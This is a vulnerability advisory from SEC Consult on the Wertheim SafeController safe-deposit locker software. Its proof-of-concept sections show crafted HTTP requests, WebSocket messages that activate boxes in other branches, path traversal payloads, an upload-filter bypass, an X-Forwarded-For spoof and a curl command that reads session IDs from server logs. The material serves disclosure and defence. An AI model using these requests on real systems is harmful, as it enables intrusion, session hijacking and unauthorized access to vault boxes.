Multiple Critical Vulnerabilities in Wertheim SafeController Software for VAULT ROOMS (Safe Deposit Locker System)

Title

Multiple Critical Vulnerabilities

Product

Wertheim SafeController Software for VAULT ROOMS (Safe Deposit Locker System)

Vulnerable Version

AssemblyVersion 6.15.8328.28014

Fixed Version

No information provided by vendor

CVE Number

CVE-2026-34023, CVE-2026-34024, CVE-2026-34025, CVE-2026-34026, CVE-2026-34027, CVE-2026-34028, CVE-2026-34029, CVE-2026-34030

Impact

critical

Found

03.04.2023

By

Christian Hager (Office Vienna), Gorazd Jank (Office Vienna), Philipp Espernberger (Office Vienna) | SEC Consult Vulnerability Lab

Management summary

The Wertheim SafeController software was vulnerable to several up to critical vulnerabilities. In combination these enable an attacker to execute arbitrary code on the application's host in the context of the software (Remote Code Execution / RCE).

Vendor description

"On September 1, 1852, Franz Wertheim and 85 employees began to build "fireproof safes". Then as now, Wertheim has been successfully involved in production of safes and banking facilities, nationally and internationally. To secure the market position and develop new business areas, Wertheim has continuously adapted its product range over the years as well as expanded its assortment of offerings. Today, the Wertheim Group of companies also produces bank and object furnishings in our own joinery in Uttendorf, and Commissioned Work has developed into an essential business area for the group. The diversity of state-of-the-art technologies characterizes the flexibility and technical know-how of this division."

Source: https://wertheim.at/en/company/ (2023)

Business recommendation

The vendor provides a patch which should be installed immediately. Specific version information was not provided. Please contact the vendor in order to request the update.

SEC Consult highly recommends to perform a thorough security review of the product conducted by security professionals to identify and resolve potential further security issues.

Vulnerability overview/description

1) Violation of the Least-Privilege Principle

The application service is running in the context of a highly privileged user. An attacker managing to compromise the affected service, can run commands with these privileges. This vulnerability is not a direct Wertheim vulnerability but rather an installation problem. However, due to the following issues, an attacker would be able to exploit this problem and carry out actions with the permissions of the service account.

2) Broken WebSocket Authorization (CVE-2026-34023)

Due to flaws in the authorization scheme, an authorization bypass vulnerability allows an attacker to get access to restricted functions and resources in other branches via the established WebSocket communication. To perform this attack an attacker has to be in the possession of valid user credentials of a low privileged branch user.

3) Broken access control (CVE-2026-34024)

In the tested system multiple endpoints where identified which do not perform authorization checks. These endpoints may not be visible in the frontend but can be accessed anyway. This enables authenticated users with minimal privileges to, among others, perform the following actions:

  • Switch the user's branch
  • Upload arbitrary files
  • Download arbitrary files
  • View details of an arbitrary branch

4) IP Restriction Bypass (CVE-2026-34025)

The web application restricts user logins based on the specific IP address associated to the branch's location. It was identified that the IP restriction can be bypassed by manipulating HTTP requests during the login process.

5) Path traversal (CVE-2026-34026)

Due to insufficient application-side input validation, it is possible to request arbitrary files, accessible by the affected application, using a path traversal attack. This includes but is not limited to application-specific log files containing sensitive information. An existing session is required for this attack. However, it does not matter which role or permissions the utilized user possesses (see vulnerability 3).

6) Upload Restriction Bypass (CVE-2026-34027)

As a result of insufficient application-side filetype validation it is possible to upload arbitrary files. An existing session is required to exploit this vulnerability. However, it does not matter which role or permissions the utilized user possesses (see vulnerability 3).

7) Unauthenticated Access to Web Data (CVE-2026-34028) 

An attacker has the ability to directly access HTTP endpoints which are not protected by any authorization scheme. The attacker is able to directly download files and execute binaries which are stored on the specific file path.  

8) Hardcoded Secrets in DLL files (CVE-2026-34029)

Application components were identified storing sensitive data in an insecure non-cryptographically protected format. An attacker with access to the application files can reverse engineer them and read out the hardcoded secrets.

9) Insufficient input validation (CVE-2026-34030)

When a new branch is added to a company the chosen branch code is not validated correctly and therefore malicious symbols can be injected into it. This enables a malicious user to attack functions which actively use the branch code. The branch code is used in multiple occasions. Possible attacks include, but are not limited to, Cross-Site Scripting (XSS), path traversal attacks and all types of injections (OS Command, SQL, etc.). Special privileges ("settings_branches_manage") are needed to create a new branch. Privileges can be elevated using the vulnerability described in 3 and 5.

10) Undisclosed Vulnerability

This vulnerability was identified during a reassessment commissioned by Wertheim. Detailed disclosure is withheld as the finding is subject to the vendor's ownership and disclosure authority. Affected parties are advised to contact the vendor directly for further information.

The combination of 3), 5), 6), 7) and 9) leads to an authenticated remote code execution. If the service is running with high privileges (see 1), an attacker is able to fully compromise the whole server. The detailed proof-of-concept is shown in the chapter "Attack Chain" below.

Proof of concept

1) Violation of the Least-Privilege Principle

To verify the vulnerability, it is sufficient to search for the name "Wertheim Message Broker" in the list of running services. This can be done e.g., by using the "Windows Task Manager" and switching to the tab "Services". The tab shows the running services and visualizes, that the affected component is running in the context of the "NT AUTHORITY/SYSTEM" user.

Figure 1: Message Broker running with NT AUTHORITY/SYSTEM privileges

2) Broken WebSocket Authorization (CVE-2026-34023)

To demonstrate this vulnerability, an attacker has to login into the application. After a successful login, a WebSocket channel is established using the following endpoint.

https:// [HOST]:16181/SafeController/WebMessageBroker/connect?transport=webSockets&clientProtocol=1.5&connectionToken=AQAAANC[...]&connectionData=%5B%7B%22name%22%3A%22webmessagebroker%22%7D%5D&tid=7

The response indicates a switch to the WebSocket protocol.

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Server: Microsoft-HTTPAPI/2.0
Access-Control-Allow-Origin: https:// [HOST]
Access-Control-Allow-Credentials: true
X-Content-Type-Options: nosniff
Connection: Upgrade
Sec-WebSocket-Accept: o0uZzjFdLQsU7HLpJvSMRyyK1t8=

The WebSocket channel is then used to send and receive messages between the server. For example, if access to a specific safe and vault is granted via the web application, a WebSocket message is sent to the server. To give an example, opening vault 13 in branch 2 via the web application will send the following WebSocket message to the server:

{
   "H": "webmessagebroker",
   "M": "ActivateBox",
   "A": [
       "CTRL5400#Bank2",
       "13"
   ],
   "I": 8
}

The WebSocket message consists of two relevant parts:

  • Argument M: Describes the type of message. In this case "ActivateBox" is used to allow opening a box.
  • Argument A: Consists of two sub arguments:
    • "CTRL5400#Bank2": The ID of the controller. The first part describes the controller type and the second part the bank ID.
    • "13": The ID of the box.

An attacker in possession of a valid controller ID (refer to vulnerability 3) can insert it into the above WebSocket request and thereby perform actions in arbitrary branches. For example, the following WebSocket request is sent by a user from bank2 and the controller ID is defined as the ID of branch 1. Additionally, it is passed as a parameter that box 1 is to be opened.

{
   "H": "webmessagebroker",
   "M": "ActivateBox",
   "A": [
       "CTRL65000#Bank1",
       "1"
   ],
   "I": 3
}

Logging into the application as user from Bank1 shows that the box has been successfully activated.  

3) Broken access control (CVE-2026-34024)

To identify this issue a combination of the following research methods was performed:

  • Observing requests from users with elevated privileges and resending them,
  • Decompiling the software
  • Guessing endpoints.

For example, by decompiling the software some endpoints which do not have the PermissionFilter option set were identified as it can be seen in the following function.

// SafeSystem.Web.Areas.SysAdmin.Controllers.BranchController
// Token: 0x06000DEA RID: 3562 RVA: 0x00028C98 File Offset: 0x00026E98
public ActionResult Details(int Id)
{
    this._sessionManagerService.SetCurrentBranchById(Id);
    BranchViewModel branchViewModel = new BranchViewModel();
    base.SetViewModelProperties(branchViewModel);
[...]

The following examples demonstrate the details on how to exploit the broken access control issues.  

Example 1: Switch the user's branch

Due to missing authorization filters, it is possible to switch branches and companies with the permission of a low privileged user. To demonstrate the issue, it is sufficient to open the following URL within an active session of any user.  

https:// [HOST]/Dashboard/Home/ChangeBranch?branchId=2

The parameter branchId is an identifier for the branch where the user wants to switch, and it is only an incremented value. To exploit this issue, it is sufficient to increment the value until the right branch is reached. The server response to this issue with an HTTP 302 message and forwards the user to the dashboard of the new branch.

HTTP/2 302 Found
Cache-Control: public, no-store, max-age=0
Content-Type: text/html; charset=utf-8
Expires: Tue, 07 Mar 2023 09:18:38 GMT
Last-Modified: Tue, 07 Mar 2023 09:18:38 GMT
Location: /dashboard
Vary: *
Server: Microsoft-IIS/10.0
X-Aspnetmvc-Version: 5.2
X-Frame-Options: DENY
X-Aspnet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Tue, 07 Mar 2023 09:18:38 GMT
Content-Length: 127
<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="/dashboard">here</a>.</h2>
</body></html>

It's also possible to switch whole companies with following URL. The parameter companyId is also an incremented value which can be easily enumerated by an attacker.

https:// [HOST]/Dashboard/Home/ChangeCompany?companyId=2

Example 2: Upload arbitrary files

Due to missing authorization filters, it is possible to store files persistently on the system with any application user. To demonstrate the issue, it is sufficient to send the following POST request with the session of any user. In the following case, the HTML file test.html was uploaded with the content test.

POST /safe/contract/uploadcustomdocuments HTTP/2
Host: [HOST]
Cookie: ASP.NET_SessionId=xxxws1vayccxhp0ity1f4xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------15938702753880790499124043058
Content-Length: 540
Origin: https:// [HOST]
Referer: https:// [HOST]/Safe/Contract/ContractOverview/163
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
-----------------------------15938702753880790499124043058
Content-Disposition: form-data; name="malicious.html"; filename="test.html"
Content-Type: application/pdf
<html>
<body>    
test     
</body>
</html>
-----------------------------15938702753880790499124043058
Content-Disposition: form-data; name="boxId"
163
-----------------------------15938702753880790499124043058
Content-Disposition: form-data; name="isNewRental"
false
-----------------------------15938702753880790499124043058--

The response indicates that the file was successfully uploaded.

HTTP/2 200 OK
Cache-Control: public, no-store, max-age=0
Content-Type: application/json; charset=utf-8
Expires: Mon, 27 Feb 2023 15:56:05 GMT
Last-Modified: Mon, 27 Feb 2023 15:56:05 GMT
Vary: *
Server: Microsoft-IIS/10.0
X-Aspnetmvc-Version: 5.2
X-Frame-Options: DENY
X-Aspnet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Mon, 27 Feb 2023 15:56:05 GMT
Content-Length: 43
{"text":"Upload erfolgreich","error":false}

Example 3: Download arbitrary files

Due to missing authorization filters, it is possible to download files from the system with a low privileged user. To demonstrate the issue, it is sufficient to send the following GET request with the session of any user. In combination with the Path traversal vulnerability (refer to vulnerability 5) it is possible to open any file on the system.

GET /safe/selfservice/openselfservicedocument?documentName=../../../../../../../../../../../../../../{ABSOLUTE_PATH} HTTP/2
Host: [HOST]
Cookie: ASP.NET_SessionId=xxxl5uq5mxzwgq3vdhhowxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers

For example, by opening the following URL, it is possible to open a log file with the permissions of a low privileged user.

https:// [HOST]/safe/selfservice/openselfservicedocument?documentName=../../../../../../../../../../../../../../log/Safe/SafeSystem.SessionManagerService.log

The response shows that the file can be downloaded by the user. It can be seen that the file contains all sessions. An attacker is therefore able to use this sessions and potentially take over high privileged user sessions.

HTTP/2 200 OK
Cache-Control: public, no-store, max-age=0
Content-Type: unknown/unknown
Expires: Wed, 29 Mar 2023 06:41:36 GMT
Last-Modified: Wed, 29 Mar 2023 06:41:36 GMT
Vary: *
Server: Microsoft-IIS/10.0
X-Aspnetmvc-Version: 5.2
X-Frame-Options: DENY
X-Aspnet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 29 Mar 2023 06:41:36 GMT
Content-Length: 3245049
2022-10-24 08:19:17.663183 DEBUG | [dicb05a0a13yexmcbvydxj3h] [Session_Start]
2022-10-24 08:30:02.076493 DEBUG | [dicb05a0a13yexmcbvydxj3h] [Session_End]
2022-10-24 08:34:36.742584 DEBUG | [dicb05a0a13yexmcbvydxj3h] [Session_Start]
2022-10-24 08:42:10.877813 DEBUG | [dicb05a0a13yexmcbvydxj3h] [Session_End]
2022-10-24 08:42:17.928556 DEBUG | [dicb05a0a13yexmcbvydxj3h] [Session_Start]
2022-10-24 08:56:33.209252 DEBUG | [gqex30ro4uviwapur2pexoqd] [Session_Start]
2022-10-24 08:56:33.401509 DEBUG | [cxhnvtrv5lnpui1vvxoj0lyz] [Session_Start]
2022-10-24 08:56:33.509652 DEBUG | [dkpatzua5kxd2ofgklhfr3yq] [Session_Start]
2022-10-24 08:56:33.581749 DEBUG | [j3lya0ty5ybjv2jxar0muvl0] [Session_Start]
2022-10-24 08:56:33.581749 DEBUG | [ppdf3yikybz1i1y1bvkrosiu] [Session_Start]
2022-10-24 08:56:33.616352 DEBUG | [jtymho3c0vqcecpopuacibpa] [Session_Start]
2022-10-24 08:56:35.835498 DEBUG | [qvixaefpjfc1hb5nzrwhnwkr] [Session_Start]
2022-10-24 08:56:35.835498 DEBUG | [hlhvsbixbmbns5r0wzvhodf3] [Session_Start]
[...]

Example 4: View details of an arbitrary branch

Due to missing authorization filters, it is possible to view details of any branch with a low privileged user. The following GET request can be used to exploit the issue. The last parameter in the URL is the ID from the branch and can be enumerated to get details of all branches.

GET /SysAdmin/Branch/Details/3 HTTP/2
Host: [HOST]
Cookie: ASP.NET_SessionId=xxxl5uq5mxzwgq3vdhhowxxx
Sec-Ch-Ua: "Not A(Brand";v="24", "Chromium";v="110"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

The following shortened response shows the successful exploit to read the details of branch 3.

HTTP/2 200 OK
Cache-Control: public, no-store, max-age=0
Content-Type: text/html; charset=utf-8
Expires: Tue, 07 Mar 2023 14:50:06 GMT
Last-Modified: Tue, 07 Mar 2023 14:50:06 GMT
Vary: *
Server: Microsoft-IIS/10.0
X-Aspnetmvc-Version: 5.2
X-Frame-Options: DENY
X-Aspnet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Tue, 07 Mar 2023 14:50:09 GMT
Content-Length: 5622
<div class="center">
   <div class="head_content left">
       <ul class="head-branch">
           <li class="first">
                           </li>
           <li>
               <h1>Bank2 / Demo Filiale 2</h1>
               <div class="desc-branch">
                   <span class="bold green">Adresse</span> <span class="bold">[streetname]]</span>
                   <span>[postcode]</span>
               </div>
           </li>
       </ul>
   </div>
[...]
       <!-- END of safe units -->
[...]
                              <span class="title button open-button" onclick="javascript:SlideToggle('.sub-section-left-nav-3');">
                                   <span class="unit_title">CTRL5400#Bank2</span>
                               </span>
                           </span>
                           <ul>
                                   <li>
                                       <a data-ajax="true" data-ajax-method="GET" data-ajax-mode="replace" data-ajax-update="#ajax-content" href="/sysadmin/daygate/index/2">Tagesgittertüre</a>
                                   </li>
                                   <a class="gray-bg branch-cunfiguration" data-ajax="true" data-ajax-method="GET" data-ajax-mode="replace" data-ajax-update="#ajax-content" href="/sysadmin/controllersconfig?controllerId=2">Controllerkonfiguration</a>
[...]

4) IP Restriction Bypass (CVE-2026-34025)

To exploit the vulnerability, it is sufficient to add the HTTP header "X-Forwarded-For" containing the IP address of the desired branch to the
login request. Valid credentials for the branch are still needed. An excerpt of the manipulated authentication flow can be seen below:

POST / HTTP/2
Host: [HOST]
X-Forwarded-For: [BRANCH IP]
[…]
UserName=secconsult&Password=secconsult

The response shows that a new valid session was created, and the user is forwarded to the dashboard of the desired branch.

HTTP/2 302 Found
[…]
Location: /dashboard
Set-Cookie: ASP.NET_SessionId=xxxws1vayccxhp0ity1f4xxx; path=/; HttpOnly
[…]

After the initial check no further interception / adding of the header is needed. The following code snippet shows that the IP address is being extracted from the HTTP-"X-Forwarded-For"-header if it is present. In the process the first value from an array of possible values is picked without further validation.

// SafeSystem.Web.Controllers.AuthenticateController
// Token: 0x06000442 RID: 1090 RVA: 0x00013FC0 File Offset: 0x000121C0
private string GetIPAddress()
{
    HttpContext context = HttpContext.Current;
    string ipAddress = context.Request.ServerVariables["HTTP_X_FORWARDED_FOR"];
    if (!string.IsNullOrEmpty(ipAddress))
    {
        string[] addresses = ipAddress.Split(new char[] { ',' });
        if (addresses.Length != 0)
        {
            return addresses[0];
        }
    }
    return context.Request.ServerVariables["REMOTE_ADDR"];
}

5) Path traversal (CVE-2026-34026)

The unvalidated URL parameter "documentName" in the URL "https:// [HOSTNAME]/
safe/selfservice/openselfservicedocument?documentName={FILENAME}", enables an attacker to break out of the predefined file path. To exploit the attack, it is sufficient to change the HTTP GET parameter to a specific Path Traversal payload that will eventually download arbitrary files from the server.

The following request can be used to replicate the attack. Sequences of "../" are used to navigate to the root of the filesystem ("C:\ "). After that any absolute path can be inserted and the corresponding file will be downloaded.

GET /safe/selfservice/openselfservicedocument?documentName=../../../../../../../../../../../../../../{ABSOLUTE_PATH} HTTP/2
Host: [HOST]
Cookie: ASP.NET_SessionId=xxxl5uq5mxzwgq3vdhhowxxx
[…]

By decompiling it was possible to retrieve the source code of the affected function. The parameter "documentName" is passed to the function "Path.Combine" without prior sanitization allowing to insert arbitrary values:

// Token: 0x06001612 RID: 5650 RVA: 0x00046DD4 File Offset: 0x00044FD4
[HttpGet]
public FileResult OpenSelfServiceDocument(string documentName)
{
    string path = Path.Combine(this._systemOptionsService.GetDocumentsLocation(this._sessionManagerService.CurrentCompany), this._sessionManagerService.CurrentBranch.Code, documentName);
    string mimeType = MIMEAssistant.GetMIMEType(path);
    return base.File(path, mimeType);
}

This vulnerability would allow to spawn a webshell resulting in arbitrary command execution. This is prevented by the returned Mime-Type which only allows the execution of certain filetypes.

Example exploitation:

The MessageBroker application is located at "C:\Wertheim\MessageBroker\SafeSystem.MessageBroker.exe" and can be downloaded using following request:

GET /safe/selfservice/openselfservicedocument?documentName=../../../../../../../../../../../../../../Wertheim/MessageBroker/SafeSystem.MessageBroker.exe HTTP/2
Host: [HOST]
Cookie: ASP.NET_SessionId=xxxl5uq5mxzwgq3vdhhowxxx
[…]

The file will be downloaded as "openselfservicedocument". By comparing the hashes of the file locally and the one on the affected system it can be seen that the downloaded and original files are identical.

6) Upload Restriction Bypass (CVE-2026-34027)

To bypass upload restrictions the “/safe/contract/uploadcustomdocuments” endpoint can be utilized. The content type of uploaded files is being filtered based on the HTTP header "content type”. As this value can be changed by the user e.g., by locally intercepting the connection to the server, arbitrary files can be uploaded. The content type must contain one of the allowed values (pdf, tiff, jpeg or png) and the content length must be smaller than 5MB (5000000 Bytes).

The following decompiled source code excerpt shows the insufficient content type validation process:

// Token: 0x06001559 RID: 5465 RVA: 0x0003A384 File Offset: 0x00038584
[HttpPost]
public ActionResult UploadCustomDocuments(object formdata, string boxId, bool isNewRental)
{
[...]
    int fileSize = 0;
    for (int i = 0; i < files.Count; i++)
    {
        HttpPostedFileBase file = files[i];
        if (!file.ContentType.Contains("pdf") && !file.ContentType.Contains("jpeg") && !file.ContentType.Contains("tiff") && !file.ContentType.Contains("png"))
        {
            return base.Json(new
            {
                text = this.labelService.GetLabelTextByName("wrongFileFormat"),
                error = true
            }, JsonRequestBehavior.AllowGet);
        }
        fileSize += file.ContentLength;
    }
[...]

To upload a simple test file the following request can be used:

POST /safe/contract/uploadcustomdocuments HTTP/2
Host: [HOST]
Cookie: ASP.NET_SessionId=xxxylzv2jxbutrmmypqplxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------15938702753880790499124043058
Content-Length: 540
Origin: https:// [HOST]
Referer: https:// [HOST]/Safe/Contract/ContractOverview/[BOX ID]
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
-----------------------------15938702753880790499124043058
Content-Disposition: form-data; name="malicious.html"; filename="malicious.html"
Content-Type: application/pdf
<html>
<body>    
test     
</body>
</html>
-----------------------------15938702753880790499124043058
Content-Disposition: form-data; name="boxId"
[BOX ID]
-----------------------------15938702753880790499124043058
Content-Disposition: form-data; name="isNewRental"
false
-----------------------------15938702753880790499124043058--

On success the server answers with a HTTP 200 message:

HTTP/2 200 OK
Cache-Control: public, no-store, max-age=0
Content-Type: application/json; charset=utf-8
[…]
Content-Length: 43
{"text":"Upload erfolgreich","error":false}

During the upload a test is performed if the performing user has sufficient rights for the given task. This test is only performed after the file was already uploaded. To access the uploaded files no permissions at all are needed (see vulnerability 3). Nevertheless, if no “UploadCustomDocumentsOption” permissions are set the filename is not saved and cannot be retrieved anymore. To access this file another vulnerability would have to be found or the UUID would have to be brute forced.

7) Unauthenticated Access to Web Data (CVE-2026-34028)

The following HTTP requests are affected:

  • Download MP3/Alarm Files
    • `https:// [HOST]/Resources/CompanyId_1/Audio/[FILE]`
    • `https:// [HOST]/Resources/CompanyId_2/Audio/[FILE]`
  • Download Arbitrary files from folder “SafeData”
    • `https:// [HOST]/SafeData/[PATH/FILE]`

The following proof-of-concept shows in detail how these problems can be exploited.

Example 1: Download MP3/Alarm Files

To demonstrate this issue, it is sufficient to open the following URL within the browser.

https:// [HOST]/Resources/CompanyId_2/Audio/InfoAlarmAudioFile.mp3

The following shortened response demonstrates that the file is successfully downloaded.

HTTP/2 200 OK
Cache-Control: public,max-age=43200
Content-Type: audio/mpeg
Last-Modified: Fri, 21 Oct 2022 05:06:28 GMT
Accept-Ranges: bytes
Etag: "0221fe0ae5d81:0"
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
Date: Tue, 14 Mar 2023 09:09:34 GMT
Content-Length: 479814

ID3[…]

Example 2: Download arbitrary files from the folder SafeData

To demonstrate this issue, it is sufficient to open any file from the SafeData Path. For example, the following URL can be used to download the file Bedienungsanleitung.pdf.

https:// [...]/SafeData/Manuals/Bedienungsanleitung.pdf

In the following response, it is visible that this file can be downloaded by an unauthenticated user.

HTTP/2 200 OK
Cache-Control: public,max-age=43200
Content-Type: application/pdf
Last-Modified: Thu, 19 Oct 2017 07:36:42 GMT
Accept-Ranges: bytes
Etag: "061c31ad48d31:0"
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
Date: Tue, 14 Mar 2023 09:10:08 GMT
Content-Length: 3132689
%PDF-1.5
%µµµµ
1 0 obj
[…]

In combination with the vulnerability 3, it is possible to upload .aspx files to the SafeData folder and execute them from an unauthenticated session. For example, if an attacker manages to upload a downloader.aspx file, one can execute the file directly from that path because all uploaded files are stored in the SafeData folder. The following request was used to get remote code execution on the server.

https:// [HOST]/SafeData/CompanyId_1/Documents/AdminFil/9fb75d96-fe40-4887-8ca8-c2d7da52920d_downloader.aspx

8) Hardcoded Secrets in DLL files (CVE-2026-34029)

The DLL file SafeSystem.Infrastructure.Security.dll serves basic security operations like encryption and decryption. It was found that the key for encryption and decryption is hard-coded in the "defaultKey" parameter, as shown in the following decompiled source code excerpt:

private static string defaultKey = Convert.ToBase64String(new byte[]
{
[REDACTED]
});

This hard-coded key can be used to decrypt the "licence.whs" file containing sensitive information regarding the licensing party as well as a second key which will then be used to decrypt other configuration files.

9) Insufficient input validation (CVE-2026-34030)

The following code is used to create a new branch. The code is located in the DLL file SafeSystem.Web.

        [HttpPost]
        [PermissionFilter(new string[] { "settings_branches_manage" }, true)]
        public ActionResult Create(BranchViewModel model)
        {
            if ((from a in this.cacheService.GetAll<Branch>()
                where a.Company.ID == model.Branch.Company.ID && a.Active
                select a).Count<Branch>() >= this.featureManager.GetBranchLimit(model.Branch.Company.ID))
            {
                this.CreateBranchSelectLists(model);
                model.Branch.Address.CountryId = this._systemOptionsService.GetDefaultOptions().Application.Country.ID;
                model.ErrorMessage = string.Format(this.labelService.GetLabelTextByName("companyXReachedBranchLimitOfY"), this.cacheService.GetById<Company>(model.Branch.Company.ID).Description, this.featureManager.GetBranchLimit(model.Branch.Company.ID));
                return this.PartialView("_Create", model);
            }
            if (this.branchRepository.GetByCode(model.Branch.Code) != null)
            {
                this.CreateBranchSelectLists(model);
                model.Branch.Address.CountryId = this._systemOptionsService.GetDefaultOptions().Application.Country.ID;
                model.ErrorMessage = this.labelService.GetLabelTextByName("BranchCodeAlreadyExists");
                return this.PartialView("_Create", model);
            }
            Branch branch = Mapper.Map<Branch>(model.Branch);
            Address address = new Address(model.Branch.Address.CountryId, model.Branch.Address.PostalCode, model.Branch.Address.City, model.Branch.Address.Line1, model.Branch.Address.Line2, model.Branch.Address.Line3, model.Branch.Address.Email, model.Branch.Address.Telephone, null, model.Branch.Address.Fax);
            this.addressRepository.Insert(address);
            branch.Address = address;
            int num = this.branchRepository.Insert(branch, this._systemOptionsService.GetLanguage().ID);
            this._sessionManagerService.InvalidateCache("BranchList");
            this.cacheService.RefreshCache<Branch>(this._systemOptionsService.GetLanguage().ID);
            if (num > 0)
            {
                this._sessionManagerService.SetCurrentBranchById(num);
                if (!this._sessionManagerService.SetCurrentSafeCategoryByName("SAFE") && !this._sessionManagerService.SetCurrentSafeCategoryByName("SPB"))
                {
                    this._sessionManagerService.SetCurrentSafeCategoryByName("BSF");
                }
                this._sessionManagerService.RemoveLockedBoxCount();
            }
            BranchCreatedEvent branchCreatedEvent = new BranchCreatedEvent(DateTime.Now, branch);
            this.notifyService.NotifyObservers(branchCreatedEvent);
            return base.RedirectToAction("Details", new
            {
                Id = branch.ID
            });
        }

The following two lines of code are particularly interesting. Line 1 extracts the branch from the request and line 2 inserts the element to the database. No other validation of the branch name could be identified.

            Branch branch = Mapper.Map<Branch>(model.Branch);
           int num = this.branchRepository.Insert(branch, this._systemOptionsService.GetLanguage().ID);

The branch code is, among other things, used to generate system paths for uploaded files, profile pictures and settings. Using path traversal symbols during the branch generation enables an attacker to pick an arbitrary folder location. The only restrictions are that the system user is able to write to the final location and that the branch code is no longer than 40 characters (MSSQL Database limitation).

Using the same functionality as in vulnerability 5) custom files can be uploaded. The following listing from the function `UploadCustomDocuments` in the SafeSystem.Web.dll shows the line which creates the upload path.

        [HttpPost]
        public ActionResult UploadCustomDocuments(object formdata, string boxId, bool isNewRental)
        {
           [...]
           this._fileService.Upload(file2.InputStream, fileName, Path.Combine(this._systemOptionsService.GetDocumentsLocation(this._sessionManagerService.CurrentCompany), this._sessionManagerService.CurrentBranch.Code));
           [...]

The code translates to the following pattern:

C:\SafeData\CompanyId_{ID}\Documents\{BranchCode}\{FileName}

Due to the missing input validation during the branchname creation an attacker is able to insert the pattern `..\` into the branch name to navigate through the filesystem and pick an arbitrary location. For example, the branch code `../../../../secconsult` would generate the following location:

C:\SafeData\CompanyId_{ID}\Documents\../../../../secconsult\{GUID}_{FileName}

After using the `Path.Combine` function from the listing above this results in the following path:

C:\secconsult\{GUID}_{FileName}

Considering necessary write permissions and the maximum code length, this approach allows files to be stored in nearly arbitrary folders. In combination with the file upload bypass this vulnerability could be used in different ways. Some examples may be:

  • Add (malicious) files to a different branch.
  • Add malicious files to the Windows startup folder.

To create a new branch the following POST request can be used:

POST /sysadmin/branch/create HTTP/2
Host: [HOST]
Cookie: ASP.NET_SessionId=xxxctxbvkq5z14ob1abvlxxx
Content-Length: 457
Sec-Ch-Ua: "Not A(Brand";v="24", "Chromium";v="110"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https:// [HOST]
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https:// [HOST]/sysadmin/branch/create
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Branch.Code=CustomBranchCode&Branch.Label1=sec2&Branch.Label2=sec2&Branch.Address.Email=sec2%40sec2.at&Branch.Address.Telephone=11111111&Branch.Address.Fax=&Branch.Address.Line1=sec2&Branch.Address.Line2=&Branch.Address.Line3=&Branch.Address.PostalCode=1111&Branch.Address.City=sec2&Branch.Address.CountryId=13&Branch.Company.ID=2&Branch.Region.ID=1&Branch.FederalState.ID=1&Branch.Active=false&X-Requested-With=XMLHttpRequest

10) Undisclosed Vulnerability

Proof of concept removed because of undisclosed vulnerability.

Attack Chain

The combination of 3), 5), 6), 7) and 9) leads to an authenticated remote code execution. The following proof-of-concept demonstrates how to take over the webserver.

First, an attacker has to escalate privileges within the safe management software. For this purpose, the vulnerability described in 3) can be used to read the file SafeSystem.SessionManagerService.log which stores all active and inactive sessions. To exploit this issue, it is sufficient to use the following curl command with the session of an already logged in user:

curl --path-as-is -k https:// [HOST]/safe/selfservice/openselfservicedocument?documentName=../../../../../../../../../../../../../../log/Safe/SafeSystem.SessionManagerService.log --cookie "ASP.NET_SessionId=xxxsakm0b1xpz45i0cl1nxxx"

By enumerating the received sessions, an attacker is able to extend the privileges to an administrative account. These new administrative rights can now be used to either add needed privileges to the compromised user or to add a new user with appropriate rights. To simplify the process an attacker can just generate a new user with all rights. For this attack scenario the user `Sec` was generated and uses in the next steps.

Uploading documents works without the need of further privileges. The vulnerability described in chapter 6) can be used as is. However, to execute the file the exact filename is needed. This is problematic, as the filename will be saved to the filesystem with a preceded random Globally Unique Identifier (GUID). However, one way was found to get access to this random filename.

